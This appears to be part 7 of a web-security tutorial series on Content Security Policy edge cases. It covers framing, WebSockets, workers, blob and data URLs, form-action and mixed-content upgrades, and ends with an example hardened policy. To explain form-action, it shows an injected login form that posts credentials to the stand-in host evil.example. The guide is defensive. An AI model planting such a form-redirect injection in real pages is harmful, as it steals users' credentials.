Configuring Content Security Policy (Part 7): Frames, Workers, WebSockets, Forms and Mixed Content
Solve the awkward CSP edge cases: iframes, frame-ancestors, workers, Service Workers, WebSockets, blob/data URLs, form-action, media and mixed-content upgrades.

Most CSP tutorials spend nearly all their time on script-src.
That makes sense — script execution is central to XSS defence — but production policies often break somewhere much less dramatic.
The dashboard stops updating because a WebSocket is blocked. The payment page goes blank because frame-src is missing. A Service Worker refuses to register. A generated PDF preview uses blob:. A login form tries to submit to an identity provider. An old CMS image still points to HTTP. Everything looks fine on the homepage, then one obscure user journey falls apart.
This part is about those edges.
The goal is not to memorise more directives. It is to understand the browser behaviours behind them well enough that every additional permission has a reason.
Frames have two completely different trust directions
This distinction is so important that it is worth repeating from Part 2.
frame-src = what pages may MY page embed?
frame-ancestors = which pages may embed MY page?
They protect different directions.
Suppose checkout includes:
<iframe src="https://secure.payments.example/card-entry"></iframe>
Your page needs permission to load that frame:
frame-src https://secure.payments.example
Now suppose you do not want an attacker to embed your checkout page inside their own convincing UI.
You also want:
frame-ancestors 'none'
or another appropriately narrow ancestor list.
One directive cannot replace the other.
Why frame-ancestors deserves explicit treatment
A strict-looking policy such as:
default-src 'none'
does not automatically block other sites from framing your page.
frame-ancestors does not fall back to default-src.
If framing matters, say so explicitly:
frame-ancestors 'none'
For an application intentionally embedded in a trusted parent:
frame-ancestors 'self' https://portal.customer.example
Do not use * merely because embedding requirements are unclear. Identify the actual parent applications.
frame-ancestors has largely replaced X-Frame-Options for CSP-capable browsers
Historically, sites used:
X-Frame-Options: DENY
or:
X-Frame-Options: SAMEORIGIN
frame-ancestors is more expressive because it can specify multiple allowed origins.
For compatibility and defence in depth, some sites still send both where their desired policy maps cleanly to DENY or SAMEORIGIN.
The key operational point is consistency. Do not send:
X-Frame-Options: DENY
while CSP says:
frame-ancestors https://partner.example
and then wonder why embedding behaves differently across clients.
Cross-origin iframes are often a useful security boundary
Third-party UI frequently belongs in a frame precisely because it isolates execution from your top-level origin.
Examples include:
- payment card entry;
- identity-provider widgets;
- video players;
- document previews;
- external dashboards.
That does not mean frames are magically safe.
You still need to consider:
postMessage()handling;- iframe
sandboxattributes; - Permissions Policy;
- navigation behaviour;
- credential/storage implications;
- whether the child can frame or redirect other content.
But an isolated cross-origin frame is usually a clearer trust boundary than dropping a large vendor runtime directly into your page.
Sandbox third-party frames when the integration supports it
The HTML sandbox attribute can remove capabilities from an iframe:
<iframe
src="https://preview.example/document"
sandbox="allow-scripts allow-forms">
</iframe>
By default, sandboxing is highly restrictive. Tokens selectively restore capabilities.
Be deliberate with combinations such as:
allow-scripts
allow-same-origin
For same-origin content, restoring both can substantially weaken the isolation you thought you had.
CSP also has a sandbox directive that applies restrictions to a document itself, but for ordinary embedded third-party widgets, the iframe attribute is often the more local tool.
connect-src is where modern applications quietly break
A modern frontend may render perfectly while being functionally dead because connect-src is too narrow.
It governs browser connections initiated through mechanisms including:
fetch();- XMLHttpRequest;
- WebSockets;
- EventSource;
sendBeacon();- related script-initiated connections.
A typical API policy might be:
connect-src 'self' https://api.example.com
If real-time updates use WebSockets:
connect-src 'self' https://api.example.com wss://realtime.example.com
Do not assume allowing https://realtime.example.com automatically covers wss://realtime.example.com in every CSP/source-matching situation you care about. Declare the actual scheme the application uses and test it.
WebSocket failures can look like application bugs
When CSP blocks a WebSocket, your application may show symptoms such as:
- “reconnecting…” forever;
- stale notifications;
- chat that never receives messages;
- live dashboards frozen at initial state;
- background retry loops;
- generic network errors.
The browser console usually exposes the CSP violation much more clearly than your application UI.
During CSP rollout, test real-time functionality explicitly rather than relying on ordinary HTTP smoke tests.
Server-Sent Events use connect-src too
An application using:
new EventSource('https://events.example.com/stream')
needs the event-stream origin represented under connect-src.
SSE is easy to forget because there is no WebSocket URL in the code, yet it is still a persistent browser network connection controlled by the same directive family.
sendBeacon() matters for analytics and unload telemetry
Analytics libraries often send data with:
navigator.sendBeacon(...)
A script may load successfully under script-src and still fail to send telemetry because its collection endpoint is absent from connect-src.
That can create the awkward situation where the site works but your analytics suddenly reports a traffic collapse after CSP enforcement.
Watch business telemetry during rollout, not only page rendering.
Workers have their own CSP story
For creating workers from the page, worker-src is the first directive to think about:
worker-src 'self'
The CSP Level 3 fallback chain is roughly:
worker-src
↓ if absent
child-src
↓ if absent
script-src
↓ if absent
default-src
That explains why a worker may unexpectedly be blocked by script-src even when you never configured worker-src.
Prefer an explicit worker-src once workers are part of the application so the intent remains obvious.
A worker’s own requests need their own CSP thinking
There is another subtle point.
The page’s CSP controls whether the worker may be created, but workers are generally not simply governed by the parent document’s CSP for everything they do.
MDN notes that a worker can receive its own Content-Security-Policy response header on the worker script response.
So this architecture:
Page CSP
│
└── permits loading /worker.js
│
▼
Worker response CSP
│
└── constrains worker's own environment
can be useful for sensitive worker code.
blob:/data: worker URLs are a special case and can inherit policy behaviour differently because they do not have a normal independently fetched origin response.
Service Workers are especially easy to overlook
A PWA may register:
navigator.serviceWorker.register('/service-worker.js');
A strict policy should deliberately permit the worker script:
worker-src 'self'
Then test:
- first registration;
- update registration;
- existing clients with an older worker;
- offline behaviour;
- background sync/push if used;
- cache population.
Service Workers outlive an individual page load. A stale worker can make CSP troubleshooting confusing because two clients hitting the same release may behave differently.
When testing rollout, include a clean browser profile as well as upgraded existing sessions.
blob: is useful — and broader than it looks
Applications use object URLs for things such as:
- generated downloads;
- image previews;
- media playback;
- PDF previews;
- Web Workers;
- browser-generated files.
You may therefore need:
img-src 'self' blob:
or:
worker-src 'self' blob:
Do not add:
blob:
to every directive globally.
The fact that one image preview uses an object URL does not justify blob-based script execution.
Scope schemes to the resource type that needs them.
data: URLs deserve the same discipline
Small inline images are often represented as:
data:image/png;base64,...
which may require:
img-src 'self' data:
Bundlers can also inline tiny fonts or other assets.
This is often reasonable.
What is not reasonable is adding:
script-src 'self' data:
because that permits JavaScript to be supplied directly through a data URL and meaningfully weakens script-source control.
Vite’s own current security guidance explicitly warns against allowing data: in script-src.
form-action protects a surprisingly valuable boundary
Consider a login page containing:
<form method="post" action="/login">
If an attacker finds a markup-injection path, one useful attack may be changing the destination:
<form method="post" action="https://evil.example/collect">
The user sees your legitimate page, enters credentials, and the form submits somewhere else.
A policy such as:
form-action 'self'
blocks that destination.
If your application intentionally posts to an identity or payment provider:
form-action 'self' https://identity.example.com
Again, form-action does not simply inherit default-src, so include it explicitly when form destinations matter.
Test redirects after form submission
The initial target may be allowed while the wider authentication/payment flow still moves through several origins.
CSP source matching and navigation behaviour can be nuanced around redirects, so test the complete real flow rather than only validating that the HTML <form action> looks permitted.
Critical routes to exercise include:
login
logout
password reset
OAuth/OIDC hand-off
3-D Secure
payment confirmation
file upload
account deletion
navigate-to is not the answer you may find in old articles
Older CSP discussions sometimes recommend the experimental navigate-to directive for controlling top-level navigation.
Do not build a new production policy around obsolete or unsupported directives merely because an old guide mentions them.
Use currently supported controls — for example form-action, framing controls, application validation and appropriate browser/platform features — based on the actual navigation risk.
This is exactly why CSP guidance needs regular freshness review.
Media can involve more directives than media-src
Direct video/audio resources use:
media-src
For example:
media-src 'self' https://media.example.com
But an embedded video platform may instead be an iframe:
<iframe src="https://player.example.com/video/123"></iframe>
which means frame-src is relevant.
A player may additionally fetch thumbnails (img-src), telemetry (connect-src) and scripts (script-src) depending on integration style.
Classify the actual browser request, not the business label “video”.
Camera/microphone are not controlled by CSP alone
If a video-call feature needs camera or microphone access, CSP is not the primary control.
That belongs to browser permissions and Permissions Policy.
You may need both:
CSP -> where scripts/frames/resources can come from
Permissions-Policy -> whether camera/microphone/etc. can be used
Security headers work as a system. Do not expect CSP to govern every browser capability.
Mixed content: modern browsers already do more than old CSP guides imply
An HTTPS page loading HTTP resources creates mixed content.
Modern browsers classify insecure content into categories they can automatically upgrade and content they block.
That means old advice around mixed-content directives has changed.
In particular:
block-all-mixed-content
is now deprecated/obsolete in current standards guidance. Browsers already upgrade or block mixed content according to the modern mixed-content model.
Do not add it to a new policy simply because a five-year-old hardening checklist included it.
upgrade-insecure-requests still has a useful migration role
The directive:
upgrade-insecure-requests
tells the browser to rewrite eligible insecure HTTP resource URLs to HTTPS before fetching them.
That is useful on legacy sites with large amounts of old content:
<img src="http://assets.example.com/old-photo.jpg">
can effectively become:
https://assets.example.com/old-photo.jpg
at request time.
But there is an important limitation:
if the target does not actually support HTTPS, the request fails. There is no fallback to insecure HTTP.
So test legacy origins before rollout.
upgrade-insecure-requests does not replace HSTS
This is another frequent misconception.
upgrade-insecure-requests primarily helps resources/navigation within the context of a page that already has a CSP.
HSTS tells the browser that your origin itself should be contacted over HTTPS for future requests.
MDN explicitly notes that upgrade-insecure-requests is not a substitute for Strict-Transport-Security.
A mature HTTPS posture may use both for different reasons:
Strict-Transport-Security: max-age=63072000; includeSubDomains
Content-Security-Policy: ...; upgrade-insecure-requests
Only enable HSTS options such as includeSubDomains/preload after checking all affected subdomains; HSTS mistakes can make sites unreachable.
Fix source URLs even if the browser upgrades them
upgrade-insecure-requests is a compatibility safety net, not permission to leave HTTP URLs throughout the codebase forever.
Fix:
- templates;
- CMS content;
- CSS URLs;
- legacy database content;
- third-party configuration;
- API endpoints.
That makes the application clearer and avoids surprises when resources are moved or served in contexts where the CSP directive is not present.
IP-address mixed content is stricter
Modern mixed-content behaviour treats some requests to literal IP addresses differently from requests to hostnames; resources that might otherwise be automatically upgraded can be blocked instead.
If a legacy application still references:
http://192.0.2.20/resource
or a public IP directly, do not assume the browser will rescue it through automatic upgrading.
Fix the endpoint and serve it properly over HTTPS.
Edge-case headers are easy to lose in deployment
Once CSP, HSTS and other security headers pass through your app server, reverse proxy and CDN, inspect the final public response rather than assuming every layer preserved them.
Downloads may involve blob: without network access
Consider a client-side export:
const csv = new Blob([data], { type: 'text/csv' });
const url = URL.createObjectURL(csv);
The resulting URL is browser-generated, not a remote fetch to a conventional host.
If the blob is used as an image/media/worker resource, the corresponding CSP directive may need blob:.
If it is simply used as a download link, test the exact browser behaviour before changing CSP. Do not pre-emptively add permissions based on assumptions.
PDF viewers are frequently special cases
A PDF feature can mean several completely different architectures:
<a href="file.pdf"> -> ordinary navigation/download
<iframe src="file.pdf"> -> frame behaviour
<object data="file.pdf"> -> object-src
PDF.js rendering a blob -> script + worker + blob + fetch
third-party viewer iframe -> frame-src
The CSP depends on which one you actually built.
This is a good example of why policy design should follow browser primitives rather than product feature names.
File uploads can trigger preview permissions
Uploads often generate local previews:
URL.createObjectURL(file)
which may require:
img-src 'self' blob:
for image previews.
The upload itself may call a separate storage endpoint controlled by connect-src.
If the browser uploads directly to object storage using a pre-signed URL:
connect-src 'self' https://uploads.example-storage.com
may be required.
Test large uploads, retries and multipart flows — vendors sometimes use different endpoints for them.
WebRTC is not just a CSP problem
Real-time audio/video can involve:
- scripts;
- API signalling;
- WebSockets;
- camera/microphone permissions;
- TURN/STUN networking;
- embedded frames.
CSP constrains applicable browser fetches and script/resource loading, but it is not a complete WebRTC firewall.
Combine CSP with Permissions Policy, application signalling controls and appropriately secured infrastructure.
Multiple CSP policies only get stricter
Browsers can receive more than one enforcing CSP.
For example, your application might send:
Content-Security-Policy: connect-src 'self'
while a CDN also injects:
Content-Security-Policy: connect-src https://api.example.com
These do not merge into:
self OR api.example.com
Each policy must be satisfied. In practice the result is the intersection of allowed behaviour, which can be much stricter than either operator intended.
This is a classic reason a production site behaves differently from local testing.
Inspect all response-header instances.
Use the browser’s effective-directive message
When an edge case fails, the browser often tells you the directive actually involved.
Examples:
Refused to connect ... because it violates connect-src
Refused to frame ... because it violates frame-src
Refused to create a worker ... because it violates worker-src
Refused to send form data ... because it violates form-action
Start with that effective directive.
Then answer:
- Is the behaviour intentional?
- Which feature initiated it?
- Can the feature be redesigned more safely?
- What is the narrowest source expression that permits it?
Do not immediately paste the blocked URL into default-src.
A route-by-route edge-case matrix
For a non-trivial application, build a small matrix during CSP rollout:
Route Frame Worker WebSocket Form target blob/data Media
----------------------------------------------------------------------------
/ no no no self images no
/dashboard no yes yes self worker no
/checkout pay no no pay/self no no
/upload no yes no self image blob no
/video player no metrics self no iframe
That tells you which routes actually exercise the unusual permissions.
It also makes automated browser coverage much more useful.
Authorise behaviour, not error messages
A CSP console error is the start of an investigation, not a request to weaken the policy. Understand the feature, then grant the smallest permission that represents its intended browser behaviour.
Browse SiteTidy's security toolsA realistic policy with the awkward bits included
Imagine a SaaS dashboard that uses:
- strict nonce-authorised scripts;
- a same-origin Service Worker;
- blob workers for a report generator;
- API and WebSocket endpoints;
- payment iframe;
- direct upload storage;
- same-origin forms;
- image previews through blob URLs.
A conceptual policy might include:
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{NONCE}' 'strict-dynamic';
style-src 'self';
img-src 'self' blob: data:;
font-src 'self';
connect-src 'self'
https://api.example.com
wss://realtime.example.com
https://uploads.example-storage.com;
frame-src https://secure.payments.example;
worker-src 'self' blob:;
object-src 'none';
base-uri 'none';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests
That is not a template to paste.
It is an example of a policy where each unusual source has an application story behind it.
Final thought
CSP gets easier when you stop thinking in terms of “what domains do I need to allow?” and start thinking in browser capabilities.
The useful questions are:
What may execute?
What may connect?
What may be embedded?
Who may embed us?
Where may forms submit?
Which workers may run?
Which local URL schemes do we genuinely need?
What should happen to insecure legacy URLs?
Answer those clearly and the edge cases stop feeling like exceptions. They become ordinary parts of the application’s trust model.
In Part 8, we will add one of the most interesting browser-side XSS defences available in 2026: Trusted Types — how require-trusted-types-for 'script' changes dangerous DOM APIs, how CSP controls Trusted Type policies, and how to introduce it without destroying a modern frontend.
